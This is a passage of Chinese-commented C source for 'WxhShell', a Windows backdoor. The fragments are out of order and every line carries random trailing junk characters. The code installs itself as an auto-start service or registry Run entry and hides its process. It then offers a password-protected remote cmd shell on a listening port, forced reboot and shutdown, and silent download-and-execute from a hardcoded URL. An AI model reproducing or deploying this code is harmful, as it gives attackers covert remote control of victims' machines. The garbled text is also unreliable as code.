    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oJVpJA0IA  
    else { t3;QF  
    closesocket(wsh); ya/pn qS  
    ExitThread(0); 0tP{K  
    } H@ .1cO  
    break; <|4L+?_(&  
    } _qq>-{-Ym  
  // 获取shell L ^{C4}x=  
  case 's': { N PE7AdB8  
    CmdShell(wsh); K7]IAV  
    closesocket(wsh); lX%e  
    ExitThread(0); {#}?-X  
    break; jI,?*n<  
  } =1% <  
  // 退出 r*W&SU9Z  
  case 'x': { OJPi*i5*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c:_dW;MJ0  
    CloseIt(wsh); ;F\sMf{  
    break; >&uR=Yd  
    } ? ]hS^&  
  // 离开 (/3E,6gMk^  
  case 'q': { 6yXMre)YV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Mg=R**s1x%  
    closesocket(wsh); f&`yiy_  
    WSACleanup(); 3Vb/Mn!k  
    exit(1); ??=su.b  
    break; wlfq$h p  
        } iGsD!2  
  } h v/+  
  } p$@l,4@{  
"0Yb 2>F  
  // 提示信息 MnD^jcx   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U&SgB[QHO  
} Ln&CB!u  
  } #F6!x3Z  
=fy'w3m  
  return; d/xGo[?$  
} rJ fO/WK  
(j884bu  
// shell模块句柄 Qe1WT T]:I  
int CmdShell(SOCKET sock) s f<NC>-  
{ vB1nj<]&z  
STARTUPINFO si; K.::P84m;  
ZeroMemory(&si,sizeof(si)); #]FJx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~X%W2N2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3C(V<R?  
PROCESS_INFORMATION ProcessInfo; bKP@-<:]  
char cmdline[]="cmd"; $o>6Io|D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g WHjI3;  
  return 0; 2, r{zJ8  
} vy1N, 8a  
Bz*6M  
// 自身启动模式 T{mIk p<  
int StartFromService(void) "y$s`n4Mj  
{ 4#2iq@s  
typedef struct "BD$-]  
{ 4+4C0/$Y  
  DWORD ExitStatus; uE:`Fo=y  
  DWORD PebBaseAddress; @8'LI8 \/  
  DWORD AffinityMask; x$/: %"E  
  DWORD BasePriority; k{w  
  ULONG UniqueProcessId; QKtVwsz +  
  ULONG InheritedFromUniqueProcessId; V.Qy4u7m  
}   PROCESS_BASIC_INFORMATION; Xo~kB)|,  
pQ9~^  
PROCNTQSIP NtQueryInformationProcess; ^fxS=Qs+  
X(fT[A_2C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _"'0^F$I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o&U/e\zy  
ps@{1Rn1  
  HANDLE             hProcess; SbN.z  
  PROCESS_BASIC_INFORMATION pbi; [Cf{2WB:7  
>19j_[n@VC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V( SRw  
  if(NULL == hInst ) return 0; SH#!Y  
]8ob`F`m,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t[Ywp!y[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a&s&6Q|Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eCXw8  
8I,/ysT:  
  if (!NtQueryInformationProcess) return 0;  _V_GdQ  
$>!tpJw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A<<Bm M.%  
  if(!hProcess) return 0; #JW~&;  
V"R,omh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DS6g_SS3  
 NncII5z  
  CloseHandle(hProcess); xr).ZswQ  
+tvWp>T+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f4r)g2Zb[  
if(hProcess==NULL) return 0; i+eDBg6  
e{7"7wn=  
HMODULE hMod; #>\%7b59>  
char procName[255]; TwLQ;Q  
unsigned long cbNeeded; QPJz~;V2  
qhqqCVrsW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'NDDj0Y  
rX@?~(^ML  
  CloseHandle(hProcess); ;iT ZzmB  
8$C?j\J|*  
if(strstr(procName,"services")) return 1; // 以服务启动 `as6IMqJD  
NB?y/v  
  return 0; // 注册表启动  dPCn6  
} ;Br #e1~  
!;h`J:dN  
// 主模块 \1mTKw)S  
int StartWxhshell(LPSTR lpCmdLine)  WDq~mi  
{  - j_  
  SOCKET wsl; R"V^%z;8o  
BOOL val=TRUE; gL}x| Q2`  
  int port=0; 1_0\_|  
  struct sockaddr_in door; +[Zcz4\9  
:Wl`8p4]  
  if(wscfg.ws_autoins) Install(); >[a&,gS  
`;\~$^sj}  
port=atoi(lpCmdLine); Bl!R bh\  
>{@:p`*  
if(port<=0) port=wscfg.ws_port; XVWVY}  
mqk tM6  
  WSADATA data; Gn} ^BJN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GG$&=.$  
V/W{d[86G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )R@M~d-o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *Ph@XkhU  
  door.sin_family = AF_INET; UcxMA%Pw7$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >nOzz0,  
  door.sin_port = htons(port); +!Lz]@9K  
iDrQ4>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y4)v>&H  
closesocket(wsl); .BjnV%l7Id  
return 1; <Pg<F[eDM  
} Kb,#Ot  
G0&'B6I>  
  if(listen(wsl,2) == INVALID_SOCKET) { Zq\Vq:MX  
closesocket(wsl); Q3|I.I e  
return 1; lJ/{.uK  
} h(MS>=  
  Wxhshell(wsl); y~/i{a;1y  
  WSACleanup(); [y(AdZ0*  
X Cf!xIv  
return 0; `6QQS3fk!  
l_z@.</8P@  
} -VPda @@w  
Z&j?@k,k  
// 以NT服务方式启动 |VE *_ G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^dCSk==  
{ m0_B[dw  
DWORD   status = 0; 3P[u>xE  
  DWORD   specificError = 0xfffffff; cu#s}* Ip  
Ye"#tCOEG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :Yy8Ie#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (043G[H'.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F,>-+~L=  
  serviceStatus.dwWin32ExitCode     = 0; tDwj~{a~  
  serviceStatus.dwServiceSpecificExitCode = 0; A.@Af+  
  serviceStatus.dwCheckPoint       = 0; 2#g4R  
  serviceStatus.dwWaitHint       = 0; to"[r  
a-Ef$(i_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z}f;_NX  
  if (hServiceStatusHandle==0) return; \r7gubD  
``* !b >)  
status = GetLastError(); -e(,>9Q  
  if (status!=NO_ERROR) 6> Ca O  
{ o; N s-=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &7m)K>E27  
    serviceStatus.dwCheckPoint       = 0; bk{.9nz2  
    serviceStatus.dwWaitHint       = 0; %eDJ]\*^X  
    serviceStatus.dwWin32ExitCode     = status; +KKx\m*  
    serviceStatus.dwServiceSpecificExitCode = specificError; K}1eQS&$a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sw^-@w=!U5  
    return; ]`GDZw`  
  } *, RxOz2=  
**L3T3$)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Imm|5-qJ  
  serviceStatus.dwCheckPoint       = 0; #RWHk  
  serviceStatus.dwWaitHint       = 0; rm nfyn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "Ir.1FN  
} Mh;rhQ  
5'hQ6i8  
// 处理NT服务事件,比如:启动、停止 Q]NGd 0J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <;.->73E  
{ PZsq9;P$  
switch(fdwControl) z3>oUq{  
{ %zA$+eT  
case SERVICE_CONTROL_STOP: _mSQ>BBRl  
  serviceStatus.dwWin32ExitCode = 0; # 5C)k5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h`HdM58CQ  
  serviceStatus.dwCheckPoint   = 0; xPJ kadu  
  serviceStatus.dwWaitHint     = 0; b1NB:  
  { 'I *&P5|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p&4#9I5  
  } @mu2,%  
  return; 1[Ffl^\ARp  
case SERVICE_CONTROL_PAUSE: JD1D(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [H8QxJk  
  break; n]+v Eu|  
case SERVICE_CONTROL_CONTINUE: }R]^%q@&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zA?]AL(+YW  
  break; b/ dyH  
case SERVICE_CONTROL_INTERROGATE: Jb4A!g5C  
  break; UZq1qn@+  
}; jQ[M4)>_k`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +HxL>\  
} eg vgi?y  
G oJ\6& "  
// 标准应用程序主函数 bu|ecv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sBfPhBT|  
{ en6oFPG   
, BCo/j  
// 获取操作系统版本 +m8gS;'R4  
OsIsNt=GetOsVer(); N>J"^GX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~0~f  
OK"B`*  
  // 从命令行安装 P Zc{wbjp&  
  if(strpbrk(lpCmdLine,"iI")) Install(); \d)~.2$G*  
1S26Y|L)  
  // 下载执行文件 SWGD(]}uz  
if(wscfg.ws_downexe) { %: .{?FB_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zxr|:KC ?&  
  WinExec(wscfg.ws_filenam,SW_HIDE); YN@ 4.&RP  
} %95'oW)lo  
U'tfsf/V  
if(!OsIsNt) { 0 w#[?.  
// 如果时win9x,隐藏进程并且设置为注册表启动 30Z RKrW"~  
HideProc(); 8Qg,UX  
StartWxhshell(lpCmdLine); )|@ H#kv?  
} [# '38  
else 0u'qu2mV  
  if(StartFromService()) +Eh^j3W  
  // 以服务方式启动 [Nn ?:5"  
  StartServiceCtrlDispatcher(DispatchTable); @Ja8~5:  
else *Tt*\ O  
  // 普通方式启动 \|}dlG  
  StartWxhshell(lpCmdLine);  `=h`:`  
_@47h86 Q  
return 0; $"/xi `  
} 4mY(*2:HC  
1L=6Z2*fB4  
r6Hdp  
#*<*|AwoW|  
=========================================== :2KLziO2  
}(r%'(.6  
j5EZJ`  
! Bv"S0  
~Zc=FP:1  
c_fx,; ;  
" rK%A=Q  
/@<Pn&Rq  
#include <stdio.h> WmRx_d_  
#include <string.h> f(h nomn  
#include <windows.h> V2I"m  
#include <winsock2.h> bnz2\C9^  
#include <winsvc.h> >_Dq)n;%  
#include <urlmon.h> =Kv*M@  
W(oJ{R&m{  
#pragma comment (lib, "Ws2_32.lib") cVt MCgx  
#pragma comment (lib, "urlmon.lib") \tj7Jy  
hy"O_Le  
#define MAX_USER   100 // 最大客户端连接数 R7o3X,-iwn  
#define BUF_SOCK   200 // sock buffer Nd.+Rs  
#define KEY_BUFF   255 // 输入 buffer 4E`y*Hmzy+  
\G?GX  
#define REBOOT     0   // 重启 UvSvgDMl  
#define SHUTDOWN   1   // 关机 iINd*eXb^  
nVF?.c  
#define DEF_PORT   5000 // 监听端口 UN <s1  
FYI*44E  
#define REG_LEN     16   // 注册表键长度 p`jkyi  
#define SVC_LEN     80   // NT服务名长度 JC~L!)f  
(5s$vcK  
// 从dll定义API v`"z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Une,Y4{u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %T hY6y(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d`he Wv^/`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uXX3IE[  
hjVct r  
// wxhshell配置信息 ]d$:R`;  
struct WSCFG { }fps~R  
  int ws_port;         // 监听端口 :}\w2W E[  
  char ws_passstr[REG_LEN]; // 口令 PuvC MD  
  int ws_autoins;       // 安装标记, 1=yes 0=no &@tD/Jw3  
  char ws_regname[REG_LEN]; // 注册表键名 'D ,efTq  
  char ws_svcname[REG_LEN]; // 服务名 M ABrf`<b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p5|.E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G%{J.J41F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WaY_{)x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no < j}n/G]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sN`2"t/s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k e'aSD  
SV2DvrIR  
}; ,(H`E?m1w4  
J*Dt\[X  
// default Wxhshell configuration c418TjO;  
struct WSCFG wscfg={DEF_PORT, J1@X6U!{  
    "xuhuanlingzhe", .TcsXYL.`,  
    1,  pFfd6P  
    "Wxhshell", YP*EDb?f  
    "Wxhshell", D=hy[sDBw  
            "WxhShell Service", Y$3 &?LA  
    "Wrsky Windows CmdShell Service", r5U[jwP  
    "Please Input Your Password: ", (twwDI  
  1, p"A2N +  
  "http://www.wrsky.com/wxhshell.exe", KxyD{W1  
  "Wxhshell.exe" oy8L{8?  
    }; )Gf"#TM[  
ch|4"&g  
// 消息定义模块 sw<mmayN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0(!j]w"r3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K`7(*!HEb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4+rr3 $AY  
char *msg_ws_ext="\n\rExit."; Af~>}-`a  
char *msg_ws_end="\n\rQuit."; ObK-<kGcB  
char *msg_ws_boot="\n\rReboot..."; ]mDsd*1  
char *msg_ws_poff="\n\rShutdown...";  -&N^S?  
char *msg_ws_down="\n\rSave to "; C`qo  
#&fi[|%X$  
char *msg_ws_err="\n\rErr!"; b.h:~ATgN  
char *msg_ws_ok="\n\rOK!"; Gjhpi5?%8  
'R'P^  
char ExeFile[MAX_PATH]; Yp*Dd}n`  
int nUser = 0; |;~kHc$W  
HANDLE handles[MAX_USER]; <SK%W=  
int OsIsNt; 5 )tDgm  
>3{#S:  
SERVICE_STATUS       serviceStatus; q1rBSlzN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DRp h?V\  
up(6/-/.7  
// 函数声明 7Cx*Ts$  
int Install(void); DGR[2C)@N  
int Uninstall(void); 8>U{>]WG  
int DownloadFile(char *sURL, SOCKET wsh); :Ma=P\J W  
int Boot(int flag); ORVFp]gG  
void HideProc(void); c[p>*FnP  
int GetOsVer(void); (T290a9y>  
int Wxhshell(SOCKET wsl); OV@MT^  
void TalkWithClient(void *cs); DrAp&A|WV|  
int CmdShell(SOCKET sock); T;7=05k<_  
int StartFromService(void); 1!(Og~#(  
int StartWxhshell(LPSTR lpCmdLine); gLm ]*  
9%{V?r]k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %y7&~me  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]2:w?+T  
UweXz.x7  
// 数据结构和表定义 QCm93YZs6E  
SERVICE_TABLE_ENTRY DispatchTable[] =  "! -  
{ |hx"yy'ux  
{wscfg.ws_svcname, NTServiceMain}, h/'b(9fS  
{NULL, NULL} v'0WE  
}; 9'$\GN{0  
0m3:!#\  
// 自我安装 kn$2_I9  
int Install(void) .|$:%"O&X  
{ Fe r&X  
  char svExeFile[MAX_PATH]; =1kE2u  
  HKEY key; Hnq$d6F  
  strcpy(svExeFile,ExeFile); A_8UPGh8  
P\jnht  
// 如果是win9x系统,修改注册表设为自启动 S*aVcyDEP  
if(!OsIsNt) { 6_G[&   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yj:<3_-C*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /$z(BX/  
  RegCloseKey(key); /nPNHO>U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xbVvK+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A7`+XqG  
  RegCloseKey(key); V(lxkEu/Fj  
  return 0; 3^jkd)xw  
    } =d+~l  
  } )9pRT dT  
} oouhP1py,  
else { +69[06F  
pB;U*lt  
// 如果是NT以上系统,安装为系统服务  1{fu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [Re.sX}$Y  
if (schSCManager!=0) _nUvDdEs,  
{ [Sj _=  
  SC_HANDLE schService = CreateService `@_j Do  
  ( %qycxEVP  
  schSCManager, i?HN  
  wscfg.ws_svcname, {wp~  
  wscfg.ws_svcdisp, +hIC N,8!  
  SERVICE_ALL_ACCESS, %@,%A_So k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U%:K11Kr  
  SERVICE_AUTO_START, . r?URC  
  SERVICE_ERROR_NORMAL, e(z'u A{!  
  svExeFile, ]QJ N` ;b0  
  NULL, ydZS^BqG  
  NULL, e) \PW1b  
  NULL, T^Lg+g+I  
  NULL, *GZ7S m  
  NULL |8{c|Qz  
  ); F `4a0~?  
  if (schService!=0) oCxh[U@*D  
  { ,J@A5/B,AA  
  CloseServiceHandle(schService); \kR:GZ`{UV  
  CloseServiceHandle(schSCManager); w/1Os!p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6_=t~9sY  
  strcat(svExeFile,wscfg.ws_svcname); y/.I<5+Bu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dED&-e#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t}Q PPp y  
  RegCloseKey(key); {Mv$~T|e7  
  return 0; =Hd+KvA  
    } K,f"Q<sU%  
  } mNQ~9OJ1  
  CloseServiceHandle(schSCManager); nb30<h  
} 0en Bq>vr  
} Pb] EpyAW  
{qJ(55  
return 1; x:? EL)(  
} W2w A66MB  
IaHu$` v  
// 自我卸载 ` it<\r[=  
int Uninstall(void) >zS<1  
{ o>l/*i0I  
  HKEY key; rw }wQP_'  
Zl\$9Q_  
if(!OsIsNt) { -;Ij ,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U/s!Tb>`  
  RegDeleteValue(key,wscfg.ws_regname); />X"' G  
  RegCloseKey(key); SZVAf|]Yg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Eo;TNbb  
  RegDeleteValue(key,wscfg.ws_regname); %7v!aJ40  
  RegCloseKey(key); s?yl4\]Muf  
  return 0; mHB0eB'l  
  } ])9|j  
} VprrklZ  
} ]r(&hqdR  
else { 0s72BcP  
WNK)IC~c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); th^&wp  
if (schSCManager!=0) 0F-%C>&g  
{ #zed8I:w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &~&oB;uR  
  if (schService!=0) B1k;!@@1 4  
  { T(z/Jm3  
  if(DeleteService(schService)!=0) { ..fbRt  
  CloseServiceHandle(schService); `L m9!?  
  CloseServiceHandle(schSCManager); 'E)g )@^  
  return 0; i `7(5L~`  
  } ?m\? #  
  CloseServiceHandle(schService); K 9tr Iy$v  
  } VUUE2k;^  
  CloseServiceHandle(schSCManager); o^3X5})sv  
} 0x2[*pJ|IW  
} 1EHL8@.M  
"KKw\i  
return 1; Vv_lBYV  
}  V$fn$=  
s?7"iE  
// 从指定url下载文件 `9& ~fWu  
int DownloadFile(char *sURL, SOCKET wsh) y[DS$>E  
{ oC~+K@S  
  HRESULT hr; VT2f\d[Q  
char seps[]= "/"; ^u+#x2$Mg  
char *token; pC/13|I  
char *file; aXgngw q  
char myURL[MAX_PATH]; 7U2?in}?Qi  
char myFILE[MAX_PATH]; $g!iy'4n*  
{:TOm0eK  
strcpy(myURL,sURL); 560`R>  
  token=strtok(myURL,seps); bWg!/K55  
  while(token!=NULL) R*l3 zn>  
  { dfMi]rs!<  
    file=token; Lk]W?  
  token=strtok(NULL,seps); x0||'0I0  
  } oR~s \Gt  
ld[BiP`B2V  
GetCurrentDirectory(MAX_PATH,myFILE); "Ky&x$dje  
strcat(myFILE, "\\"); Vs9]Gm  
strcat(myFILE, file); :NynNu'  
  send(wsh,myFILE,strlen(myFILE),0); B4eV$~<  
send(wsh,"...",3,0); PB;j4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zq{TY)PI]  
  if(hr==S_OK) ^IqD^(Kb  
return 0; {.r #j|  
else )S^[b2P]y_  
return 1; ?>DwNz^.!  
<N8z<o4rku  
} F13vc~$Ky  
?D+H2[n\a  
// 系统电源模块 _BI[F m  
int Boot(int flag) srryVqgS  
{ : U,-v  
  HANDLE hToken; UG=],\E2  
  TOKEN_PRIVILEGES tkp; l9z{pZ\KM  
X }Fqif4A  
  if(OsIsNt) { p?O6|q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hg-M>|s7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5Bp>*MR/".  
    tkp.PrivilegeCount = 1; 9dFo_a*?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3|(3jIa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'iX y?l  
if(flag==REBOOT) { iZE7 B7K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Bejk^V~  
  return 0; /Q2HN(Y  
} V)c.AX5  
else { w"q^8"j!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :_:o%  
  return 0; " ""pe+Y  
} KvumU>c#A  
  } N=j$~,yG  
  else { 9)$gD  
if(flag==REBOOT) { H`nd |  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *})Np0k  
  return 0; >"[Nmx0;w  
} d Z x  
else { ->'xjD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '[p0+5*x  
  return 0; /Zg4JQ~  
} ,VZ<r5NT  
} +&[X7r<  
Z@i,9 a  
return 1; km29]V=}  
} k1fX-2H  
CcZM0  
// win9x进程隐藏模块 @c=bH>Oz  
void HideProc(void) Yb?(Q %  
{ bd&Nf2  
,S?M;n?z_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W#foVAi .  
  if ( hKernel != NULL ) |XJ|vQGU  
  { m0N{%Mf-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a"8H(HAlNn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *0z'!m12  
    FreeLibrary(hKernel); @@& ? ,3  
  } {-51rAyi  
$AHdjQ[;6-  
return; }CvhLjo  
} ~:N 1[  
$s,(-C   
// 获取操作系统版本 FO)`&s"&2  
int GetOsVer(void) wu3p2#-Z  
{ wRJ`RKJ-T  
  OSVERSIONINFO winfo; 9'A^n~JHF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [_HOD^  
  GetVersionEx(&winfo); kyL]4:@W`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O+=C8  
  return 1; gp4@6HuUd  
  else ?&bB?mg\  
  return 0; <[V1z=Eo/]  
} Ph17(APt,Q  
-+W E9  
// 客户端句柄模块 :z2G a  
int Wxhshell(SOCKET wsl) +THK Jn!>  
{ aK--D2@}i  
  SOCKET wsh; <%m$ V5h  
  struct sockaddr_in client; Z L'krV  
  DWORD myID; Rw|P$dbu  
+0M0g_sk  
  while(nUser<MAX_USER) s,~g| I\  
{ h"dn:5G:=  
  int nSize=sizeof(client); N a<);Pg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mh=j^ [4Q  
  if(wsh==INVALID_SOCKET) return 1; w\ddC DZ  
R/kF,}^F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *mkL>v &  
if(handles[nUser]==0) lbC9^~T+  
  closesocket(wsh); /|8/C40aY  
else <X ([VZ  
  nUser++; z0?IQzR^T  
  } zE?@_p1gei  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ie/dMB=t  
;ibOd~  
  return 0; Zn6u6<O=  
} '6GW.;  
T=VBKaSbU  
// 关闭 socket [#;CBs5o  
void CloseIt(SOCKET wsh) {`V ^V_  
{ O|*-J  
closesocket(wsh); t>eeOWk3  
nUser--; Tb!jIe  
ExitThread(0); 7Jn%c<s  
} %jxeh.B3B  
EU.!/'<  
// 客户端请求句柄 ~c@@m\C"b  
void TalkWithClient(void *cs) qb +Gjgp  
{ g])iU9)8  
#O!gjZ,  
  SOCKET wsh=(SOCKET)cs; jAfqC@e  
  char pwd[SVC_LEN]; 0HDL;XY6  
  char cmd[KEY_BUFF]; B:(a?X-7  
char chr[1]; z,(.` %h  
int i,j; =$uSa7t#  
F87c?Vh)K  
  while (nUser < MAX_USER) { 6!v$"u|[!'  
T} K@ykT  
if(wscfg.ws_passstr) { WntolYd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gq050Bl)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /#!1  
  //ZeroMemory(pwd,KEY_BUFF); -GYJ)f  
      i=0; i)7B :uA  
  while(i<SVC_LEN) { #dkSAS  
m=V69 a#  
  // 设置超时 15M!erT  
  fd_set FdRead; b ; U  
  struct timeval TimeOut; |};-.}u^`h  
  FD_ZERO(&FdRead); t<MO~_`!  
  FD_SET(wsh,&FdRead); bCV_jR+  
  TimeOut.tv_sec=8; bOD] `*q  
  TimeOut.tv_usec=0; hZ-?-F?*@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sU"sd7#A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UL`% Xx  
l{hO"fzy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ISg-?h/  
  pwd=chr[0]; 'L C0hoV  
  if(chr[0]==0xd || chr[0]==0xa) { !nTI(--  
  pwd=0; 6`Diz_(  
  break; 9}' 92  
  } jz,Gj}3;  
  i++; a2B9 .;F  
    } dlBr2 9  
k<y~n*{_  
  // 如果是非法用户,关闭 socket ow*^z78M{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .qrS[ w  
} G' mg-{  
na_Wp^;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t!o=-k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K9) |b`E=  
k\A4sj  
while(1) { E6#")2C~  
lfqsoIn;  
  ZeroMemory(cmd,KEY_BUFF); C;oO=R3r  
e(vnnv?R{  
      // 自动支持客户端 telnet标准   yZ,S$tSR  
  j=0; CgKFI  
  while(j<KEY_BUFF) { fr8hT(,s)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T*92o:^  
  cmd[j]=chr[0]; ;I~ UQgE6H  
  if(chr[0]==0xa || chr[0]==0xd) { &_,.*tha  
  cmd[j]=0; Cw h[R  
  break; U9"Ij}  
  } SbH} cu8  
  j++; h`4!Qv  
    } ;$FMOMR  
<=@6UPsn2  
  // 下载文件 CIAKXYM  
  if(strstr(cmd,"http://")) { 1aoKf F(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZV$!dHW/  
  if(DownloadFile(cmd,wsh)) UD_8#DO{m1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M>u84|`  
  else C5=m~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E+~1GKd  
  } \:E=B1  
  else {  ,<U  
 4q\gFFV4  
    switch(cmd[0]) { A#nSK#wS61  
  @Op7OFY%  
  // 帮助 'S 6JpWG1  
  case '?': { #xt-65^  
